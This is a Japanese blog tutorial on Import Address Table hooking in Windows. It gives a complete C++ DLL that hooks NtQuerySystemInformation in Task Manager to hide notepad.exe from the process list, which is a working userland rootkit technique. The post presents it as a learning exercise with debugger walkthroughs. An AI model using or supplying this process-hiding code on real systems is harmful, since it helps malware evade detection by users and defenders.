Snoozy

1.Sleep-inducing; tedious.

IAT Hookをやってみる

IAT Hookをやってみる

PEファイルフォーマットにおけるIAT(Import Address Table)は,インポートしたAPIのエントリーポイントへのアドレスが記載されるルックアップテーブルだ.

あるモジュールからエクスポートされるAPIを使用する際,実行時にIATを参照して当該モジュール内のAPIへジャンプするという処理が行われる.

したがってこのIATエントリを適切に書き換えることで,API呼び出しをフックすることができる.

本稿では,IAT書き換えによるAPIフックを行うDLLを作成し,実際にタスクマネージャプロセスから特定プロセスを隠してみる.

自プロセスのIATをフックしてみる

いきなりIATフックを行うDLLを作成するのは,デバッグ等の点からハードルが高い.

そこでここでは,最初に自プロセスのIATをフックするプログラムを作成し挙動を観察した後,それをDLL化する方針を取る.

まずはWikiのサンプルコードを使用してIATフックの動作を確認する.

en.wikipedia.org

ここで筆者が確認したいことは以下の2つだ.

  • ディスク上のオフセット(すなわちRVA)からIATエントリのVAへの変換
  • IATエントリ書き換え動作の様子

最初にディスク上の実行ファイル内オフセットから,メモリ上のIATエントリのアドレスへと変換してみる.

PE-bearを使うと,MessageBoxAのアドレスを格納したIATエントリは実行ファイルの先頭からオフセット0x20158に位置することが分かる.

f:id:snoozekvn:20200327232932j:plain

さらに実行ファイルのImageBaseは以下から0x00007ff7f5fd0000だとわかる.

f:id:snoozekvn:20200327232927j:plain

ディスク上の実行ファイル内オフセットとメモリ上のIATエントリのアドレスは以下のような関係にある.

ImageBase + MessageBoxAへのアドレスを格納したIATエントリのRVA  = メモリ上のMessageBoxAへのアドレスを格納したIATエントリへのアドレス

したがって

0x00007ff7f5fd0000 + 0x20158 = 0x00007ff7f5ff0158

となる.

今,MessageBoxAへのアドレスは以下の画像により0x00007ff60f3b1e68であることが分かっている.

f:id:snoozekvn:20200327232922j:plain

実際にこの値を確認すると確かにMessageBoxAのアドレスが保持されており,メモリ上のIATのアドレスが求まったといえる.

f:id:snoozekvn:20200327235412j:plain

恣意的な感じは否めないが,ともあれメモリ上のIATエントリなどの関係性は確認できたのでよしとする.

簡易な計算で,ディスク上の実行ファイル内オフセットからメモリ上のMessageBoxAへのアドレスを保持するIATエントリのアドレスへと変換できるようになった.

さらに処理を進めると,2度目のMessageBoxAのcallで参照するIATの値が書き換わることも確認できる.

以下の画像がフック前.

f:id:snoozekvn:20200327232936j:plain

以下の画像がフック後.

f:id:snoozekvn:20200327232940j:plain

このまま処理を続けるとフック関数へとジャンプし,本来のMessageBoxAとは異なる動作をするようになった.

f:id:snoozekvn:20200327232910j:plain

以上よりIATのフック処理が正常に動作することが確認できた.

続いてIATフックにより特定プロセスを隠ぺいするDLLを作成していく.

IATフックを行うDLLを作成する

タスクマネージャなどのシステム上のプロセス一覧を表示するツールは,Ntdll.dllからエクスポートされるNtQuerySystemInformationを使用して,Windowsカーネルからプロセスリストを得ていることが知られている.

このNtQuerySystemInformationをフックして特定プロセスを隠ぺいするDLLを作成する.

#include "pch.h"
#include <stdio.h>
#include <Psapi.h>
#include <windows.h>
#include <winternl.h>

// Defines and typedefs
#define STATUS_SUCCESS  ((NTSTATUS)0x00000000L)

typedef struct _MY_SYSTEM_PROCESS_INFORMATION
{
    ULONG                   NextEntryOffset;
    ULONG                   NumberOfThreads;
    LARGE_INTEGER           Reserved[3];
    LARGE_INTEGER           CreateTime;
    LARGE_INTEGER           UserTime;
    LARGE_INTEGER           KernelTime;
    UNICODE_STRING          ImageName;
    ULONG                   BasePriority;
    HANDLE                  ProcessId;
    HANDLE                  InheritedFromProcessId;
} MY_SYSTEM_PROCESS_INFORMATION, * PMY_SYSTEM_PROCESS_INFORMATION;

typedef NTSTATUS(WINAPI* PNT_QUERY_SYSTEM_INFORMATION)(
    __in       SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout    PVOID SystemInformation,
    __in       ULONG SystemInformationLength,
    __out_opt  PULONG ReturnLength
    );

PNT_QUERY_SYSTEM_INFORMATION OriginalNtQuerySystemInformation =
(PNT_QUERY_SYSTEM_INFORMATION)GetProcAddress(GetModuleHandle(L"ntdll"),
    "NtQuerySystemInformation");

// Hooked function
NTSTATUS WINAPI HookedNtQuerySystemInformation(
    __in       SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout    PVOID                    SystemInformation,
    __in       ULONG                    SystemInformationLength,
    __out_opt  PULONG                   ReturnLength
)
{
    NTSTATUS status = OriginalNtQuerySystemInformation(SystemInformationClass,
        SystemInformation,
        SystemInformationLength,
        ReturnLength);
    if (SystemProcessInformation == SystemInformationClass && STATUS_SUCCESS == status)
    {
        // Loop through the list of processes
        PMY_SYSTEM_PROCESS_INFORMATION pCurrent = NULL;
        PMY_SYSTEM_PROCESS_INFORMATION pNext = (PMY_SYSTEM_PROCESS_INFORMATION)
            SystemInformation;

        do
        {
            pCurrent = pNext;
            pNext = (PMY_SYSTEM_PROCESS_INFORMATION)((PUCHAR)pCurrent + pCurrent->
                NextEntryOffset);

            if (!wcsncmp(pNext->ImageName.Buffer, L"notepad.exe", pNext->ImageName.Length))
            {
                if (!pNext->NextEntryOffset)
                {
                    pCurrent->NextEntryOffset = 0;
                }
                else
                {
                    pCurrent->NextEntryOffset += pNext->NextEntryOffset;
                }
                pNext = pCurrent;
            }
        } while (pCurrent->NextEntryOffset != 0);
    }
    return status;
}
void DetourIATptr(const char* function, void* newfunction, HMODULE module);



void** IATfind(const char* function, HMODULE module) { //Find the IAT (Import Address Table) entry specific to the given function.
    int ip = 0;
    if (module == 0)
        module = GetModuleHandle(0);
    PIMAGE_DOS_HEADER pImgDosHeaders = (PIMAGE_DOS_HEADER)module;
    PIMAGE_NT_HEADERS pImgNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pImgDosHeaders + pImgDosHeaders->e_lfanew);
    PIMAGE_IMPORT_DESCRIPTOR pImgImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((LPBYTE)pImgDosHeaders + pImgNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

    if (pImgDosHeaders->e_magic != IMAGE_DOS_SIGNATURE)
        printf("libPE Error : e_magic is no valid DOS signature\n");

    for (IMAGE_IMPORT_DESCRIPTOR* iid = pImgImportDesc; iid->Name != NULL; iid++) {
        for (int funcIdx = 0; *(funcIdx + (LPVOID*)(iid->FirstThunk + (SIZE_T)module)) != NULL; funcIdx++) {
            char* modFuncName = (char*)(*(funcIdx + (SIZE_T*)(iid->OriginalFirstThunk + (SIZE_T)module)) + (SIZE_T)module + 2);
            const uintptr_t nModFuncName = (uintptr_t)modFuncName;
            bool isString = !(nModFuncName & (sizeof(nModFuncName) == 4 ? 0x80000000 : 0x8000000000000000));
            if (isString) {
                if (!_stricmp(function, modFuncName))
                    return funcIdx + (LPVOID*)(iid->FirstThunk + (SIZE_T)module);
            }
        }
    }
    return 0;
}

void DetourIATptr(const char* function, void* newfunction, HMODULE module) {
    void** funcptr = IATfind(function, module);
    if (*funcptr == newfunction)
        return;

    DWORD oldrights, newrights = PAGE_READWRITE;
    //Update the protection to READWRITE
    VirtualProtect(funcptr, sizeof(LPVOID), newrights, &oldrights);

    *funcptr = newfunction;

    //Restore the old memory protection flags.
    VirtualProtect(funcptr, sizeof(LPVOID), oldrights, &newrights);
}


BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        DetourIATptr("NtQuerySystemInformation", (void*)HookedNtQuerySystemInformation, 0); //Hook the function       
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

このDLLは以下のような処理を行う.

  1. ターゲットプロセスへのロード時にDllMain内のDetourIATptrが呼ばれる
  2. DetourIATptrはIATfindを呼び出して,Taskmgr.exe内のIATからNtQuerySystemInformationのアドレスが記載されたエントリを見つける
  3. VirtualProtectを使いメモリ属性を変更した後,APIエントリをHookedNtQuerySystemInformationへのアドレスへ書き換える
  4. HookedNtQuerySystemInformationでは,オリジナルのNtQuerySystemInformationを使ってプロセスリストを取得する
  5. アクティブなプロセスのリストにnotepad.exeが見つかった場合このエントリをスキップするようリストを書き換える

デモ

実際に動かしてみる.

youtu.be

以上.

参考

inaz2.hatenablog.com

ired.team

f3real.github.io